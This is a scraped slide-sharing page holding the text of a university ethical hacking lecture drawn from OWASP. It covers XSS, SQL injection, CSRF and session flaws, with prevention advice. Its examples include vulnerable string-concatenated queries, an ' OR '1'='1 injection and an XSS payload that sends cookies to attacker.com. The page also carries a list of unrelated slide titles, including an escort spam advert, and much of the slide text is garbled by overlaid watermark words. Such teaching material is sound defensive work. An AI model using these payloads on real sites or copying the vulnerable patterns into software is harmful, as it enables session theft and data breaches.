Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise Environment
 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of Tomorrow
 
Sql Injection and XSS
Sql Injection and XSSSql Injection and XSS
Sql Injection and XSS
 
Forms and Databases in PHP
Forms and Databases in PHPForms and Databases in PHP
Forms and Databases in PHP
 

Último

08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking MenDelhi Call girls
 
Key Features Of Token Development (1).pptx
Key Features Of Token Development (1).pptxKey Features Of Token Development (1).pptx
Key Features Of Token Development (1).pptxLBM Solutions
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...shyamraj55
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationRidwan Fadjar
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxOnBoard
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesSinan KOZAK
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Allon Mureinik
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machinePadma Pradeep
 
Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Neo4j
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountPuma Security, LLC
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersThousandEyes
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonetsnaman860154
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxnull - The Open Security Community
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreternaman860154
 
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024BookNet Canada
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April Automation LPDGAPIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April Automation LPDGMarianaLemus7
 

Último (20)

08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Key Features Of Token Development (1).pptx
Key Features Of Token Development (1).pptxKey Features Of Token Development (1).pptx
Key Features Of Token Development (1).pptx
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
The transition to renewables in India.pdf
The transition to renewables in India.pdfThe transition to renewables in India.pdf
The transition to renewables in India.pdf
 
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptxE-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
E-Vehicle_Hacking_by_Parul Sharma_null_owasp.pptx
 
Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)
 
Install Stable Diffusion in windows machine
Install Stable Diffusion in windows machineInstall Stable Diffusion in windows machine
Install Stable Diffusion in windows machine
 
Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024Build your next Gen AI Breakthrough - April 2024
Build your next Gen AI Breakthrough - April 2024
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptxMaking_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
Making_way_through_DLL_hollowing_inspite_of_CFG_by_Debjeet Banerjee.pptx
 
Presentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreterPresentation on how to chat with PDF using ChatGPT code interpreter
Presentation on how to chat with PDF using ChatGPT code interpreter
 
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
New from BookNet Canada for 2024: BNC BiblioShare - Tech Forum 2024
 
APIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April Automation LPDGAPIForce Zurich 5 April Automation LPDG
APIForce Zurich 5 April Automation LPDG
 

Hacking the Web

  • 1. HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
  • 2. CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
  • 3. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
  • 4. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
  • 5. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Security
 Controls Technical
 Impacts Business
 Impacts
  • 6. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 7. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 8. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm specifically designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
  • 9. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
  • 10. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THIS… CAN BE CHANGED TO THIS
  • 11. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden field. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest fix, when dealing with forms, is to change it from GET to POST
  • 12. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
  • 13. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
  • 14. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
  • 15. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 16. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
  • 17. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
  • 18. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat
 Agents Attack
 Vectors Security
 Weaknesses Technical
 Impacts Business
 Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
  • 19. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
  • 20. CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING